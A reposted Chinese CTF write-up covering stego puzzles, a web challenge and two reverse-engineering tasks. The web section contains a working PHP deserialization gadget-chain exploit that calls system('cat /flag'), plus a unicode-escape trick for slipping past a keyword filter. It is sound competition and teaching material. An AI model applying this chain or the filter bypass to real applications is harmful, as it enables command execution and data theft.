掌控安全CTF-2024年5月擂台赛-WP(部分)

news2024/9/23 13:19:56

MISC

ez_Misc

题目给了一个加密的压缩包和一个文本文档,首先我们先来看文本的内容,如下:

很容易看出,0宽隐写,用PuzzleSolver梭哈一下,发现了:Thi3 is n0t 2 hint

又在文本中发现一个特征,标点符号只有“,”和“。” 猜测为二进制,将“,”替换为“0”;“。”替换为“1”,可得到一串字符:

01111010011010110110000101110001001000010100000000110011001100010011001000110011

用赛博橱子解密一下得到压缩包密码:zkaq!@3123

解开压缩包后得到flag.apng,直接用工具apngdis_gui可以分离出四张图片

可以发现第四张图片有点可疑,是黑的,不过我们能隐约看出来有张二维码在上面

直接使用QR扫描即可得到一串base64密文:ZmxhZ3thcG5nX2lzX2V6fQ==,解密后得到flag

flag{apng_is_ez}

如果实在没看到的话(或者扫不出来),可以放stegsolve里面看看,red plane 3,够清晰了吧哈哈哈。

扫描结果都是一样的,如下图:

ezBMP

题目只给了一个bmp文件,一开始试了好多东西都没什么好的结果,后来使用工具Picsel梭了

首先我们先试用foremost分离一下1.bmp,可以得到两张bmp文件

foremost -T 1.bmp

然后直接使用Picsel,过程大致如下:

先选择 Open Original Image,放入第一个图片00000000.bmp,再点击Decrypt Image功能,选择第二个图片00000113.bmp

得到flag:flag{ez_zkaq_steganography_xor}

Web

Base_pop

进入页面,只给了一个信息source=1,访问一下得到了php源码

分析一下我们需要

创建一个 Joker 对象并对其进行序列化。
然后对序列化字符串进行base64编码并输出。
当这个序列化对象被反序列化时,会调用 Joker 类的 __destruct 方法,继而调用 Bigger 类的 __toString 方法。
__toString 方法尝试调用 Lisa 对象的 print 方法。
由于 Lisa 没有 print 方法,会触发 __call 魔术方法,从而执行 system('cat /flag')。

Poc如下:

<?php
class Bigger{
    public $Processing_strings;
    function __construct()
    {
        $this->Processing_strings=new Lisa();
    }
    
    public function __toString(){
        echo 'aaa';
        $this->Processing_strings->print();
    }
}
class Joker{
    private $Error;
    function __construct()
    {
        $this->Error=new Bigger();
    }
    
   
    public function __destruct(){
        echo 'bbb';
         echo($this->Error);
    }
}
​
class Toke{
    public function print(){
        
        echo "===========print=========";
    }
}
class Lisa{
    public function __call($name, $arguments)
    {
        system('cat /flag');
    }
}
$a=new Joker();
echo base64_encode(serialize($a));

运行后得到

Tzo1OiJKb2tlciI6MTp7czoxMjoiAEpva2VyAEVycm9yIjtPOjY6IkJpZ2dlciI6MTp7czoxODoiUHJvY2Vzc2luZ19zdHJpbmdzIjtPOjQ6Ikxpc2EiOjA6e319fQ==bbbaaa,#bbbaaa上传的时候去掉

根据PHP源码可知我们上传的时候需要使用PUT方式,而且pop被过滤了,将php转义一下,可以使用unicode编码绕过(因为这里上传的是json数据,“pop”=="\u0070\u006f\u0070"),发包后即可得到flag:flag{b4e0890d58dd4208bb832915dae872e1}

Reverse

做题做累了,来玩一会游戏吧

题目给了一个1.c3p文件,放入010查看发现pk字样,我直接改后缀为zip,解压后得到一堆文件,查看了很多文件信息,最终在文件夹eventSheets里的“事件表 2.json”发现关键信息,如下:

标签内容为:let i;\nlet a = [109, 119, 106, 108, 128, 58, 58, 57, 109, 100, 105, 104, 111, 109, 100, 57, 63, 66, 66, 100, 104, 59, 63, 62, 60, 60, 56, 134];\nlet c = \"\";\nlet tmp;\nfor (i=0;i<28;i++)\n{\n\ttmp = a[i];\n\ttmp = tmp ^ 3;\n\ttmp -= 8;\n\tc += String.fromCharCode(tmp);\n\n}\n// console.log(c);\nruntime.globalVars.flag = c;\n
​
​
这段代码对一个数组的每个元素进行了一些运算,然后将结果转换为字符并组合成一个字符串。让我们一步步地解释这段代码:
​
定义了一个包含28个元素的数组 a。
初始化一个空字符串 c。
使用一个循环遍历数组 a 的每个元素(从 i = 0 到 i < 28)。
在循环内部,对每个元素 tmp 执行以下操作:
将元素与3进行异或运算 (tmp = tmp ^ 3)
将结果减去8 (tmp -= 8)
将结果转换为字符并附加到字符串 c 上
最终的结果存储在 runtime.globalVars.flag 中。
​
下面是代码的具体步骤和解释:
​
#javascript
let a = [109, 119, 106, 108, 128, 58, 58, 57, 109, 100, 105, 104, 111, 109, 100, 57, 63, 66, 66, 100, 104, 59, 63, 62, 60, 60, 56, 134];
let c = "";
let tmp;
for (let i = 0; i < 28; i++) {
    tmp = a[i];
    tmp = tmp ^ 3;
    tmp -= 8;
    c += String.fromCharCode(tmp);
}
// console.log(c);
runtime.globalVars.flag = c;

我们可以使用 Python 来执行相同的操作,并得到最终的字符串 c: 

#python
a = [109, 119, 106, 108, 128, 58, 58, 57, 109, 100, 105, 104, 111, 109, 100, 57, 63, 66, 66, 100, 104, 59, 63, 62, 60, 60, 56, 134]
c = ""
for i in range(28):
    tmp = a[i]
    tmp = tmp ^ 3
    tmp -= 8
    c += chr(tmp)
​
print(c)

运行上述 Python 代码,可以得到字符串 c,即: flag{112f_bcdf_2499_c045773}

givemeflag

放入ida,查看main函数

点击check函数,如下:

定位到table和funcs

将table数据提取出来,用16进制表示

table = [
    0x00, 0xD5, 0x0A, 0x02, 0xEB, 0x0A, 0xD0, 0x33, 0x1C, 0xEB, 0xE5,
    0x01, 0xC0, 0xFC, 0x22, 0xEC, 0x26, 0x01, 0x06, 0x02, 0x00, 0xF3, 0x35,
    0x11, 0x0A, 0xFE, 0x27, 0x11, 0x3C, 0x2B, 0x22, 0x07, 0x13, 0xBA
]

编写exp:

# 给定的字符串和数组
str = "fAkeflag{tHis_Is_nOt_the_rEal_Flag}"
​
# 加密所需的数组
encryption_table = [
    0x00, 0xD5, 0x0A, 0x02, 0xEB, 0x0A, 0xD0, 0x33, 0x1C, 0xEB, 0xE5,
    0x01, 0xC0, 0xFC, 0x22, 0xEC, 0x26, 0x01, 0x06, 0x02, 0x00, 0xF3, 0x35,
    0x11, 0x0A, 0xFE, 0x27, 0x11, 0x3C, 0x2B, 0x22, 0x07, 0x13, 0xBA
]
​
# 将输入字符串转换为字符列表以进行可变操作
char_list = list(str)
​
# 迭代数组并加密字符串
for i, value in enumerate(encryption_table):
    # 每次迭代获取字符列表和数组的长度
    char_index = i % len(char_list)
​
    # 根据索引对3取模的结果执行不同的加密操作
    if i % 3 == 0:
        # 增加ASCII值
        char_list[char_index] = chr((ord(char_list[char_index]) + value) % 256)
    elif i % 3 == 1:
        # 减去ASCII值
        char_list[char_index] = chr((ord(char_list[char_index]) - value) % 256)
    else:
        # 异或ASCII值
        char_list[char_index] = chr((ord(char_list[char_index]) ^ value) % 256)
​
# 将列表重新组合成字符串
flag = ''.join(char_list)
print(flag)

运行后得到flag:

flag{f14g_ch3ck_9oUr_g3titbr0ther!}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1701802.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【设计模式】JAVA Design Patterns——Combinator(功能模式)

&#x1f50d;目的 功能模式代表了一种以组合功能为中心的图书馆组织风格。 简单地说&#xff0c;有一些类型 T&#xff0c;一些用于构造类型 T 的“原始”值的函数&#xff0c;以及一些可以以各种方式组合类型 T 的值以构建更复杂的类型 T 值的“组合器” &#x1f50d;解释 真…

vue中封装组件实例

本篇是一篇组件封装。因为要经常使用&#xff0c;特此封装并且记录下来&#xff0c;以供参考。 封装组件&#xff1a;封装组件是指将一段具有特定功能的Vue代码&#xff08;包括模板、脚本和样式&#xff09;封装成一个可复用的组件。这个组件可以作为一个独立的单元&#xff…

国内信创数据库生态

国内信创数据库生态 国内信创数据库主要包括但不限于以下几种&#xff1a; 数据库类型与厂商&#xff1a; 达梦 &#xff08;武汉达梦&#xff09; 官网 https://www.dameng.com/DM8.html 人大金仓 &#xff08;北京&#xff09; 官网 https://www.kingbase.com.cn/tyxsjk/i…

VS2022编译CMake的工程

开源项目大都是用Make文件组织项目代码编译。对熟悉Window体系&#xff0c;一直用VS套件工作的人&#xff0c;还是有不小的隔阂。 好在有大神们帮助我们解决此类问题&#xff0c;使用CMake工具&#xff0c;可以自动转换工程类型。 1、解压缩代码&#xff0c;找到CMakeList.tx…

OrangePi AIpro初体验之图片视频检测案例真实测评

OrangePi AIpro简介 OrangePi AIpro官网 Orange Pi AI Pro 开发板是香橙派联合华为精心打造的高性能AI 开发板&#xff0c;其搭载了昇腾AI 处理器&#xff0c;可提供8TOPS INT8 的计算能力&#xff0c;内存提供了8GB 和16GB两种版本。可以实现图像、视频等多种数据分析与推理…

漫谈企业信息化安全 - 零信任架构

一、引言 《万物简史》的作者比尔布来森说&#xff0c;当他小的时候学科学的时候&#xff0c;好像这些科学家们都是有一种本领&#xff0c;把科学总是以一种让人看不懂的方式说得神乎其神&#xff0c;好像有藏着什么不可告人的秘密。因此&#xff0c;想要写一本让大家都能看得…

IT项目管理 第四、六、七章复习记录

网络图是项目活动之间逻辑关系或顺序的示意图&#xff0c;有两种主要格式&#xff1a; 箭头图&#xff08;AOA&#xff09;前导图/优先图&#xff08;PDM&#xff09; 箭头图 活动用箭头表示。节点或圆圈是活动的起点和终点。只能显示从完成到开始依赖。 前导图 活动由方框…

UE_地编教程_创建地形洞材质

个人学习笔记&#xff0c;不喜勿喷。侵权立删&#xff01; 使用地形洞材质来遮罩地形上特定位置的可视性和碰撞。如要在山脉侧面创建进入洞穴的入口&#xff0c;此操作将非常有用。可使用地形材质和地形洞材质的相同材质&#xff0c;但注意&#xff1a;对比不使用不透明蒙版的…

icloud照片怎么恢复到相册?2个方法,轻松解决烦恼

在现代生活中&#xff0c;照片承载着我们的回忆和珍贵的时刻&#xff0c;而iCloud提供了便捷的云存储服务&#xff0c;让用户可以方便地备份和同步手机上的照片、视频等文件。 然而&#xff0c;有时候我们可能会不小心删除了在iCloud上的照片&#xff0c;或者想要将iCloud照片…

数据挖掘案例-航空公司客户价值分析

文章目录 1. 案例背景2. 分析方法与过程2.1 分析流程步骤2.2 分析过程1. 数据探索分析2. 描述性统计分析3. 分布分析1.客户基本信息分布分析2. 客户乘机信息分布分析3. 客户积分信息分布分析 4. 相关性分析 3. 数据预处理3.1 数据清洗3.2 属性约束3. 3 数据转换 4. 模型构建4. …

AI大模型探索之路-实战篇8:多轮对话与Function Calling技术应用

系列篇章&#x1f4a5; AI大模型探索之路-实战篇4&#xff1a;深入DB-GPT数据应用开发框架调研 AI大模型探索之路-实战篇5&#xff1a;探索Open Interpreter开放代码解释器调研 AI大模型探索之路-实战篇6&#xff1a;掌握Function Calling的详细流程 AI大模型探索之路-实战篇7…

一次编辑00

题目链接 一次编辑 题目描述 注意点 只能进行一次(或者零次)编辑 解答思路 首先判断两个字符串的长度&#xff0c;如果长度相差大于1&#xff0c;说明一次编辑无法通过一次编辑变换而来通过两个指针idx1和idx2指向first和second&#xff0c;初始idx1和idx2指向的都是同一个…

Android 系统日志(Log) JNI实现流程源码分析

1、JNI概述 Java Native Interface (JNI) 是一种编程框架&#xff0c;使得Java代码能够与用其他编程语言&#xff08;如C和C&#xff09;编写的本地代码进行交互。JNI允许Java代码调用本地代码的函数&#xff0c;也允许本地代码调用Java代码的函数。下面是对JNI机制的详细概述…

无人机助力光伏项目测绘建模

随着全球对可再生能源需求的不断增长&#xff0c;光伏项目作为其中的重要一环&#xff0c;其建设规模和速度都在不断提高。在这一背景下&#xff0c;如何高效、准确地完成光伏项目的测绘与建模工作&#xff0c;成为了行业发展的重要课题。近年来&#xff0c;无人机技术的快速发…

帝国CMS如何修改时间格式,变成几分钟,几小时教程

该插件已经在帝国cms6.6上测试通过&#xff0c;至于其他版本&#xff0c;请自行测试。 目前支持&#xff1a;标签模板&#xff0c;列表模板&#xff0c;内容模板 安装说明&#xff1a; 把以下的内容复制到 /e/class/userfun.php 文件里&#xff08;放在<?php和?>之间…

亚马逊云科技专家分享 | OPENAIGC开发者大赛能量加油站6月5日场预约开启~

由联想拯救者、AIGC开放社区、英特尔联合主办的“AI生成未来第二届拯救者杯OPENAIGC开发者大赛”自上线以来&#xff0c;吸引了广大开发者的热情参与。 为了向技术开发者、业务人员、高校学生、以及个体创业人员等参赛者们提供更充分的帮助与支持&#xff0c;AIGC开放社区特别…

eNSP华为模拟器-DHCP配置

拓扑图 要求 PC1通过DHCP获取192.168.1.1地址PC2和PC3通过DHCP接口地址池方式获取IP地址配置静态路由使其ping通 配置 配置主机名及接口IP地址 # AR1 <Huawei>sys Enter system view, return user view with CtrlZ. [Huawei]sys AR1 [AR1]int g0/0/0 [AR1-Gigabit…

『ZJUBCA Weekly Feed 07』MEV | AO超并行计算机 | Eigen layer AVS生态

一文读懂MEV&#xff1a;区块链的黑暗森林法则 01 &#x1f4a1;TL;DR 这篇文章介绍了区块链中的最大可提取价值&#xff08;MEV&#xff09;概念&#xff0c;MEV 让矿工和验证者通过抢先交易、尾随交易和三明治攻击等手段获利&#xff0c;但也导致网络拥堵和交易费用增加。为了…

微信小程序进阶(1)--自定义组件

自定义组件 1.1 什么是自定义组件 开发文档&#xff1a;https://developers.weixin.qq.com/miniprogram/dev/framework/custom-component/ 小程序中常常会有些通用的交互模块&#xff0c;比如&#xff1a;下拉选择列表、搜索框、日期选择器等&#xff1b;这些界面交互模块可…

c语言--结构体

前言 欢迎来到我的博客 个人主页:北岭敲键盘的荒漠猫-CSDN博客 结构体概念简介 c语言数组是一些相同类型的数据的集合。 这个结构体就是一些可以是不同类型的集合。 比如描述班里的一个人&#xff0c;他可能需要名字(字符串),也需要年龄(整数)。 这种情况就需要用结构体。 …